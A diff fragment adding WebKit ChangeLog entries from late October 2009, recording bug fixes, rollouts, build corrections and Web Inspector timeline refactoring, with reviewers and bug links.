+2009-10-27  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r50131.
+        http://trac.webkit.org/changeset/50131
+
+        * bridge/objc/objc_instance.h:
+        * bridge/objc/objc_instance.mm:
+        (ObjcInstance::ObjcInstance):
+        (ObjcInstance::virtualEnd):
+
+2009-10-26  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30491
+
+        Fixes an issue where pressing return/enter on the keyboard 
+        in <isindex> does not submit it if is not within a <form>.
+
+        According to the HTML 2.0 thru HTML 4.01 spec 
+        (http://www.w3.org/MarkUp/html-spec/html-spec_7.html#SEC7.5), the 
+        <isindex> element does not need to be within a <form> element in 
+        order to submit it. It can submitted on its own. Also, if present,
+        the href property of the <base> element will dictate where to submit
+        the value of the <isindex> element (this is analogous to the action 
+        property of the <form> element).
+
+        Tests: http/tests/misc/isindex-with-no-form-base-href.html
+               http/tests/misc/isindex-with-no-form.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::defaultEventHandler): Calls createTemporaryFormForIsIndex()
+        to create a <form> if none is present and we are an <isindex> element.
+        (WebCore::HTMLInputElement::createTemporaryFormForIsIndex): Added.
+        * html/HTMLInputElement.h:
+
+2009-10-26  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Crash occurs after launching Newsfire 1.6 for the first time
+        https://bugs.webkit.org/show_bug.cgi?id=30807
+
+        Use a RetainPtr in ObjcBinding to ensure that we adequately
+        protect the autorelease pool from GC in GC'd applications.
+
+        * bridge/objc/objc_instance.h:
+        * bridge/objc/objc_instance.mm:
+        (ObjcInstance::ObjcInstance):
+        (ObjcInstance::virtualEnd):
+
+2009-10-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Build fix for QtWebKit after r50125.
+
+        * WebCore.pro: Rename TimelineItem to TimelineRecord.
+
+2009-10-26  Matt Mueller  <mattm@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Refactor synchronizable property handling to store one shouldSynchronize flag per set of properties rather than one per property.
+
+        Fixes reading uninitialized memory in SynchronizableProperty hash function as well as simplifying the code.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30658
+
+        Covered by running various svg tests under valgrind, ex:
+        LayoutTests/svg/custom/js-late-mask-and-object-creation.svg
+
+        * svg/SynchronizablePropertyController.cpp:
+        (WebCore::SynchronizableProperties::addProperty):
+        (WebCore::SynchronizableProperties::synchronize):
+        (WebCore::SynchronizableProperties::startAnimation):
+        (WebCore::SynchronizableProperties::stopAnimation):
+        (WebCore::SynchronizablePropertyController::registerProperty):
+        (WebCore::SynchronizablePropertyController::setPropertyNeedsSynchronization):
+        (WebCore::SynchronizablePropertyController::synchronizeProperty):
+        (WebCore::SynchronizablePropertyController::synchronizeAllProperties):
+        (WebCore::SynchronizablePropertyController::startAnimation):
+        (WebCore::SynchronizablePropertyController::stopAnimation):
+        * svg/SynchronizablePropertyController.h:
+        (WebCore::SynchronizableProperties::SynchronizableProperties):
+        (WebCore::SynchronizableProperties::setNeedsSynchronization):
+
+2009-10-26  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Renames TimelineItem to TimelineRecord and updates all call sites.
+        https://bugs.webkit.org/show_bug.cgi?id=30785
+
+        * GNUmakefile.am: 
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addRecordToTimeline):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::willLayout):
+        (WebCore::InspectorTimelineAgent::didLayout):
+        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::willPaint):
+        (WebCore::InspectorTimelineAgent::didPaint):
+        (WebCore::InspectorTimelineAgent::willWriteHTML):
+        (WebCore::InspectorTimelineAgent::didWriteHTML):
+        (WebCore::InspectorTimelineAgent::didInstallTimer):
+        (WebCore::InspectorTimelineAgent::didRemoveTimer):
+        (WebCore::InspectorTimelineAgent::willFireTimer):
+        (WebCore::InspectorTimelineAgent::didFireTimer):
+        (WebCore::InspectorTimelineAgent::reset):
+        (WebCore::InspectorTimelineAgent::addRecordToTimeline):
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
+        (WebCore::InspectorTimelineAgent::pushCurrentRecord):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        (WebCore::InspectorTimelineAgent::RecordEntry::RecordEntry):
+        * inspector/TimelineItemFactory.cpp: Removed.
+        * inspector/TimelineItemFactory.h: Removed.
+        * inspector/TimelineRecordFactory.cpp: Added.
+        (WebCore::TimelineRecordFactory::createGenericRecord):
+        (WebCore::TimelineRecordFactory::createDOMDispatchRecord):
+        (WebCore::TimelineRecordFactory::createGenericTimerRecord):
+        (WebCore::TimelineRecordFactory::createTimerInstallRecord):
+        * inspector/TimelineRecordFactory.h: Added.
+        (WebCore::TimelineRecordFactory::TimelineRecordFactory):
+        * inspector/front-end/TimelineAgent.js:
+        (WebInspector.addRecordToTimeline):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._innerAddRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype.getRecordTypeName):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+
+2009-10-26  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Antti Koivisto.
+
+        [Qt] Windowless Plugins : Print preview shows only part of flash when view is scrolled
+        
+        When printing, QPrinter's preview mode uses a QPicture to capture the output. The
+        QPicture holds a reference to the X Pixmap. As a result, the print preview would
+        update itself when the X Pixmap changes. To prevent the print preview from updating
+        whenever m_drawable is updated (i.e when the view updates), we create a copy.
+        
+        We require that a QPixmap::copy() result in a QPixmap backed by a XPixmap
+        regardless of the graphicssystem. This is taken care of by
+        commit d310f7c710ecb331a9689861f0551eabd38e946e in Qt (4.6)
+        
+        The beauty of this patch is that the newly created X Pixmap is managed by Qt and
+        it will free the Pixmap whenever the user closes the print preview dialog and
+        handles the case of displaying multiple preview dialogs nicely.
+        
+        All credit to Samuel Rødal for suggesting usage of QPixmap::copy().
+        
+        https://bugs.webkit.org/show_bug.cgi?id=30714
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::paint):
+
+2009-10-26  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Don't store properties in the MediaPlayerPrivate class
+
+        Access them via the MediaPlayer class instead.
+        https://bugs.webkit.org/show_bug.cgi?id=30462
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::setRate):
+        (WebCore::MediaPlayerPrivate::setVisible):
+        (WebCore::MediaPlayerPrivate::paint):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2009-10-26  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/30801>.
+        Web Inspector: Control + ]/[ on Windows doesn't change Panels.
+        
+        In my testing, Windows uses "U+00DB" and "U+00DD" to represent
+        [ and ], so we should honor those as well.
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentKeyDown):
+
+2009-10-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Make .rc files compile on Windows without depending on MFC headers
+        https://bugs.webkit.org/show_bug.cgi?id=30750
+
+        * WebCore.vcproj/QTMovieWin.rc: Use winresrc.h because it exists 
+        even when MFC is not installed, and is all that's needed here.
+
+2009-10-26  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Build corrections for ENABLE_FILTERS in Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=30797
+
+        Build correction for ENABLE_FILTERS feature.  No new tests needed.
+
+        * platform/graphics/filters/FEColorMatrix.cpp: Use MathExtras.h and
+          its piDouble constant.
+        * platform/graphics/filters/FEGaussianBlur.cpp: Use MathExtras.h and
+          its piDouble constant.  Remove unnecessary call to floor used in
+          the division of an unsigned, converting to int.
+        * platform/graphics/win/SimpleFontDataCairoWin.cpp: Correct include
+          style for MathExtras.h.
+
+2009-10-26  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7289467> and http://webkit.org/b/30798 - REGRESSION (r48687): www.myuhc.com doesn't load.
+
+        Test: fast/loader/grandparent-completion-starts-redirect.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::completed): Notify all descendants that the load completed, not just direct children.
+
+2009-10-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Re-add CSSPropertyWebkitBackgroundSize in one more place
+
+        Fixes transitions/multiple-background-size-transitions.html, transitions/background-transitions.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
+
+2009-10-26  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Tidy up the DOM Storage runtime flag stuff
+        https://bugs.webkit.org/show_bug.cgi?id=30794
+
+        Clean up the DOM Storage runtime flag stuff to match the new way of doing
+        things.  No behavioral changes.
+
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setDatabaseEnabled):
+        (WebCore::RuntimeEnabledFeatures::databaseEnabled):
+        (WebCore::RuntimeEnabledFeatures::setLocalStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::localStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::setSessionStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::sessionStorageEnabled):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * storage/Storage.cpp:
+        * storage/Storage.h:
+
+2009-10-26  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7308952> and http://webkit.org/b/30424 - REGRESSION (r48687): Pages on ucas.com appear blank.
+
+        Test: fast/loader/history-forward-in-head.html
+
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation): Restore the moved canGoBackOrForward() check.
+          This restores the side effect of an invalid history navigation canceling previous scheduled redirects
+          and also fixes the bug of scheduling an invalid history navigation canceling parsing of the current document.
+        (WebCore::RedirectScheduler::timerFired): Removed the canGoBackOrForward() check as it is now made before
+          the redirect is scheduled.
+
+2009-10-26  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30049
+        <rdar://problem/7286002> Manipulating DOM from a script while parsing XHTML can cause a crash
+
+        Tests: fast/parser/remove-current-node-parent-x-2.xhtml
+               fast/parser/remove-current-node-parent-x.xhtml
+
+        * dom/XMLTokenizer.h: Store the whole stack of parent nodes - element.parentNode() is
+        unreliable after DOM manipulation.
+
+        * dom/XMLTokenizer.cpp:
+        (WebCore::XMLTokenizer::pushCurrentNode): Push the new node onto stack.
+        (WebCore::XMLTokenizer::popCurrentNode): This is now called instead of setCurrentNode when
+        exiting a node.
+        (WebCore::XMLTokenizer::clearCurrentNodeStack): We're aborting; or just done parsing. This
+        replaces setCurrentNode(0).
+        (WebCore::XMLTokenizer::enterText): Call pushCurrentNode().
+        (WebCore::XMLTokenizer::exitText): Call popCurrentNode(), removing a long-standing FIXME
+        (not sure if it was ever practical though - how can a parent become null while adding text?)
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::~XMLTokenizer): Call clearCurrentNodeStack().
+        (WebCore::XMLTokenizer::startElementNs): Call pushCurrentNode().
+        (WebCore::XMLTokenizer::endElementNs): Call popCurrentNode() to safely get to a parent. Also
+        added a check fo script element still being in document - Firefox parses those that aren't,
+        but doesn't execute them.
+
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::~XMLTokenizer):
+        (WebCore::XMLTokenizer::parseStartElement):
+        (WebCore::XMLTokenizer::parseEndElement):
+        Match libxml2 version changes.
+
+2009-10-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        background-size: X treated as background-size: X X, not background-size: X auto
+        https://bugs.webkit.org/show_bug.cgi?id=28440
+
+        Updated fast/backgrounds/size/resources/parsing-background-size-values.js
+        and fast/backgrounds/size/resources/parsing-inherit.js
+
+        Reinstated -webkit-background-size and kept its behavior of filling in
+        the second value with the first one; and changed background-size to have
+        the behavior of filling in the second value with 'auto'.
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (computedProperties): Re-added CSSPropertyWebkitBackgroundSize.
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Ditto.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue): Ditto.
+        (WebCore::CSSParser::parseFillSize): Adapted for the new parsing rule.
+        (WebCore::CSSParser::parseFillProperty): Re-added
+        CSSPropertyWebkitBackgroundSize.
+        (WebCore::cssPropertyID): Removed mapping of -webkit-background-size to
+        background-size.
+        * css/CSSParser.h:
+        * css/CSSPropertyNames.in: Re-added -webkit-background-size.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty): Re-added
+        CSSPropertyWebkitBackgroundSize.
+
+2009-10-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Use "%lli" to format "long long" on WIN_OS to fix HTML5 WebDB crash
+        https://bugs.webkit.org/show_bug.cgi?id=30777
+
+        No new tests as the crash can be reproduced by existing storage
+        LayoutTests (by hitting an assert in debug mode Webkit on WIN_OS).
+
+        * platform/text/String.cpp:
+        (WebCore::String::number): Qt's QString::vsprintf does not
+        understand the "%I64u" format string. Always use the "%lli"
+        format string for Qt port.
+
+2009-10-26  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Roll back r50073 because r50041-50043 were reverted.  r50073 was
+        a chromium side fix for r50041.
+        https://bugs.webkit.org/show_bug.cgi?id=30789
+
+        * bindings/v8/V8Collection.h:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::getItem):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::getItem):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+
+2009-10-26  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fixed https://bugs.webkit.org/show_bug.cgi?id=30765
+        REGRESSION (r48701): Removing an event listener causes the one added just after it not to fire
+        
+        and related bugs.
+
+        If the event listener being removed is prior to the current firing event
+        iterator, we need to decrement the current firing event iterator in
+        addition to the endpoint. (Otherwise, shrinking the event listener vector
+        by one implicity moves the current firing event iterator forward by one.
+        It's like relativity, only without the planets.)
+        
+        Also took the opportunity to change some pointers to references, since
+        they can't be null.
+
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::removeEventListener):
+        (WebCore::EventTarget::removeAllEventListeners): Update iterator in addition
+        to end, if need be.
+        (WebCore::EventTarget::fireEventListeners): Updated for interface changes.
+        Added a comment to explain a behavior that was implicit enough to be
+        confusing.
+
+        * dom/EventTarget.h:
+        (WebCore::FiringEventIterator::FiringEventIterator):
+        (WebCore::EventTarget::isFiringEventListeners): Updated for interface changes.
+
+2009-10-26  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/30792>.
+        Web Inspector: When changing resource scope, resource graph can get in weird state.
+        
+        If the user was scrolled down while looking at All resources, and then just
+        selects Fonts, or something that doesn't have many resources, then the graph
+        will stay scrolled down, even when there is no content there.
+        
+        When the filter is updated, scroll to the top of the graph view, so this won't
+        happen.
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype._updateFilter):
+
+2009-10-26  Sam Weinig  <sam@webkit.org>
+
+        Fix mac clean build.
+
+        * html/HTMLOptionsCollection.idl:
+
+2009-10-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Extract AbstractTimelinePanel that will be a base
+        class for ResourcesPanel and TimelinePanel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30776
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/AbstractTimelinePanel.js: Added.
+        (WebInspector.AbstractTimelinePanel):
+        (WebInspector.AbstractTimelinePanel.prototype.get categories):
+        (WebInspector.AbstractTimelinePanel.prototype.showCategory):
+        (WebInspector.AbstractTimelinePanel.prototype.hideCategory):
+        (WebInspector.AbstractTimelinePanel.prototype.createTimelinePanels):
+        (WebInspector.AbstractTimelinePanel.prototype._createFilterPanel.createFilterElement):
+        (WebInspector.AbstractTimelinePanel.prototype._createFilterPanel):
+        (WebInspector.AbstractTimelinePanel.prototype.filter):
+        (WebInspector.AbstractTimelinePanel.prototype._updateFilter):
+        (WebInspector.AbstractTimelinePanel.prototype._createGraph):
+        (WebInspector.AbstractTimelinePanel.prototype.updateGraphDividersIfNeeded):
+        (WebInspector.AbstractTimelinePanel.prototype._updateSummaryGraph):
+        (WebInspector.AbstractTimelinePanel.prototype._updateDividersLabelBarPosition):
+        (WebInspector.AbstractTimelinePanel.prototype.get needsRefresh):
+        (WebInspector.AbstractTimelinePanel.prototype.set needsRefresh):
+        (WebInspector.AbstractTimelinePanel.prototype.refreshIfNeeded):
+        (WebInspector.AbstractTimelinePanel.prototype.show):
+        (WebInspector.AbstractTimelinePanel.prototype.resize):
+        (WebInspector.AbstractTimelinePanel.prototype.updateMainViewWidth):
+        (WebInspector.TimelineCalculator):
+        (WebInspector.TimelineCalculator.prototype.computeSummaryValues):
+        (WebInspector.TimelineCalculator.prototype.computeBarGraphPercentages):
+        (WebInspector.TimelineCalculator.prototype.computeBarGraphLabels):
+        (WebInspector.TimelineCalculator.prototype.get boundarySpan):
+        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineCalculator.prototype.reset):
+        (WebInspector.TimelineCalculator.prototype._value):
+        (WebInspector.TimelineCalculator.prototype.formatValue):
+        * inspector/front-end/ResourceCategory.js:
+        (WebInspector.ResourceCategory):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.toolbarItemClass.get toolbarItemLabel):
+        (WebInspector.ResourcesPanel.prototype.get statusBarItems):
+        (WebInspector.ResourcesPanel.prototype.get categories):
+        (WebInspector.ResourcesPanel.prototype.showCategory):
+        (WebInspector.ResourcesPanel.prototype.hideCategory):
+        (WebInspector.ResourcesPanel.prototype.isCategoryVisible):
+        (WebInspector.ResourcesPanel.prototype.populateSidebar):
+        (WebInspector.ResourcesPanel.prototype.createPanelEnabler):
+        (WebInspector.ResourcesPanel.prototype.createStatusbarButtons):
+        (WebInspector.ResourcesPanel.prototype.set mainResourceLoadTime):
+        (WebInspector.ResourcesPanel.prototype.set mainResourceDOMContentTime):
+        (WebInspector.ResourcesPanel.prototype.show):
+        (WebInspector.ResourcesPanel.prototype.resize):
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype.updateGraphDividersIfNeeded):
+        (WebInspector.ResourcesPanel.prototype.updateMainViewWidth):
+        (WebInspector.ResourceTimeCalculator):
+        (WebInspector.ResourceTransferSizeCalculator):
+        (WebInspector.ResourceTransferSizeCalculator.prototype.computeBarGraphLabels):
+        * inspector/front-end/SummaryBar.js:
+        (WebInspector.SummaryBar.prototype.update):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+
+2009-10-26  Avi Drissman  <avi@google.com>
+
+        Reviewed by Darin Adler.
+
+        Use Helvetica in the Inspector as intended.
+        https://bugs.webkit.org/show_bug.cgi?id=30787
+
+        * inspector/front-end/inspector.css:
+
+2009-10-26  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Don't set window.opener to 0 for the current FrameLoader if a noreferrer link was clicked, only suppress opener in a new frame.
+        https://bugs.webkit.org/show_bug.cgi?id=30781
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::urlSelected): Don't suppress opener in the current frame for noreferrer navigations.
+
+2009-10-26  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Data loss occurs when unbolding nested bold tags.
+        https://bugs.webkit.org/show_bug.cgi?id=30083
+
+        Fixes the loop in swapInNodePreservingAttributesAndChildren by saving nextSibling() of child
+        to a temporary valuable.  It was originally calling nextSibling() after appending the child
+        to new parent, in which case, nextSibling is always 0.
+
+        Test: editing/style/unbolding-nested-b.html
+
+        * editing/ReplaceNodeWithSpanCommand.cpp:
+        (WebCore::swapInNodePreservingAttributesAndChildren):
+
+2009-10-21  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Storage events should use Document::url() rather than documentURI()
+        https://bugs.webkit.org/show_bug.cgi?id=30535
+
+        Storage events should use Document::url() rather than Document::documentURI()
+        per http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-October/023703.html
+
+        Test: storage/domstorage/documentURI.html
+
+        * storage/StorageEventDispatcher.cpp:
+        (WebCore::StorageEventDispatcher::dispatch):
+
+2009-10-26  Sam Weinig  <sam@webkit.org>
+
+        Rubber-stamped by Darin Adler.
+
+        Rollout r50041-50043.  The HTML5 spec changed to make HTMLOptionsCollection
+        inherit from HTMLCollection.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSHTMLAllCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::callHTMLAllCollection):
+        (WebCore::JSHTMLAllCollection::nameGetter):
+        (WebCore::JSHTMLAllCollection::item):
+        (WebCore::JSHTMLAllCollection::namedItem):
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::callHTMLCollection):
+        (WebCore::JSHTMLCollection::nameGetter):
+        (WebCore::JSHTMLCollection::item):
+        (WebCore::JSHTMLCollection::namedItem):
+        (WebCore::toJS):
+        * bindings/js/JSHTMLCollectionFunctions.h: Removed.
+        * bindings/js/JSHTMLDocumentCustom.cpp:
+        * bindings/js/JSHTMLOptionsCollectionCustom.cpp:
+        (WebCore::JSHTMLOptionsCollection::length):
+        (WebCore::JSHTMLOptionsCollection::indexSetter):
+        * bindings/objc/DOMHTML.mm:
+        (kitClass):
+        * bindings/objc/DOMUtility.mm:
+        (JSC::createDOMWrapper):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * html/HTMLCollection.idl:
+        * html/HTMLOptionsCollection.idl:
+
+2009-10-26  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Build fix for ENABLE_FILTERS under Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=30762
+
+        Build correction for ENABLE_FILTERS feature.  No new tests needed.
+
+        * WebCore.vcproj/WebCore.vcproj:  Make the following changes:
+          (1) Create a new 'filters' sub-folder of the platform/graphics 
+              folder to properly show the sources held in this directory.
+          (2) Move the files that are currently shown in svn/graphics/filters
+              to platform/graphics/filters (where they actually live on disk).
+          (3) Add the missing SVGFilter, SVGFilterBuilder, and SVGFETile to
+              the project so they are built.
+          (4) Remove SVGFEFloodElement.cpp from the build, since it is already
+              being compiled by SVGAllInOne.cpp.  Its presence as a separate
+              entity is causing a linker warning for duplicate symbols.
+          (5) Add ImageBuffer.cpp to the build to support color space
+              calculations for non-CG builds.
+        * WebCore.vcproj/WebCoreCommon.vsprops: Add the platform/graphics/filters
+          path to the search paths in the project.
+
+2009-10-26  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        console.assert should prefix messages with "Assertion failed: "
+        https://bugs.webkit.org/show_bug.cgi?id=19135
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleMessage.prototype.toMessageElement): Append "Assertion failed: " for AssertMessageType.
+        (WebInspector.ConsoleMessage.prototype.toString):
+        * page/Console.cpp:
+        (WebCore::Console::assertCondition): Use AssertMessageType.
+        * page/Console.h:
+        (WebCore::MessageType): Added AssertMessageType.
+
+2009-10-26  Rahul Kuchhal  <kuchhal@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Prevent crash when optgroup element is empty by adding a NULL check.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30365
+
+        Test: fast/forms/select-empty-optgroup.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::appendFormData):
+
+2009-10-21  Steven Knight  <sgk@chromium.org>
+
+        Reviewed by David Levin.
+
+        Refactor gyp for separate webcore_bindings{,_sources} targets.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30447
+
+        Handle long link lines by building .idl-generated bindings in a
+        separate webcore_bindings library target.  Avoid Visual Studio
+        dependency issues by building additional generated .cpp and .h files
+        in a separate webcore_bindings_sources target.
+
+        Chrome should still build and test successfully.
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+
+2009-10-26  Mike Belshe  <mike@belshe.com>
+
+        Reviewed by Darin Fisher.
+
+        Make the number of connections for chromium controlled by
+        chromium rather than by ResourceRequestBase.
+        https://bugs.webkit.org/show_bug.cgi?id=30661
+
+        * platform/network/ResourceRequestBase.cpp:
+        * platform/network/chromium/ResourceRequest.cpp:
+
+2009-10-26  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. make distcheck build fixes.
+
+        * GNUmakefile.am:
+
+2009-10-26  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Unbreak Chromium build: that requires adding custom implementations
+        for HTMLOptionsCollection's item and namedItem.  Keep v8 binding
+        close to JSC bindings as well.
+        https://bugs.webkit.org/show_bug.cgi?id=30780
+
+        * bindings/v8/V8Collection.h:
+        (WebCore::getNamedItemsFromCollection):
+        (WebCore::getItemFromCollection):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-10-23  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Adam Barth and Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30723
+        <rdar://problem/6189415> Input names added to multipart/form-data headers need to be escaped.
+
+        Test: http/tests/security/escape-form-data-field-names.html
+
+        * platform/network/FormDataBuilder.cpp:
+        (WebCore::appendQuotedString):
+        (WebCore::FormDataBuilder::beginMultiPartHeader):
+        (WebCore::FormDataBuilder::addFilenameToMultiPartHeader):
+        Percent-escape line breaks and quotation marks.
+
+2009-10-26  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Adds DOMTimer support to InspectorTimelineAgent.
+        https://bugs.webkit.org/show_bug.cgi?id=30467
+
+        * inspector/InspectorTimelineAgent.cpp: Added timer support and fixed some method names.
+        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::didLayout):
+        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::didPaint):
+        (WebCore::InspectorTimelineAgent::didWriteHTML):
+        (WebCore::InspectorTimelineAgent::didInstallTimer): Added.
+        (WebCore::InspectorTimelineAgent::didRemoveTimer): Added.
+        (WebCore::InspectorTimelineAgent::willFireTimer): Added.
+        (WebCore::InspectorTimelineAgent::didFireTimer): Added.
+        (WebCore::InspectorTimelineAgent::addItemToTimeline): Added.
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentTimelineItem): Renamed.
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineItemFactory.cpp: Add methods for timer-related ScriptObjects.
+        (WebCore::TimelineItemFactory::createGenericTimerTimelineItem):
+        (WebCore::TimelineItemFactory::createTimerInstallTimelineItem):
+        * inspector/TimelineItemFactory.h:
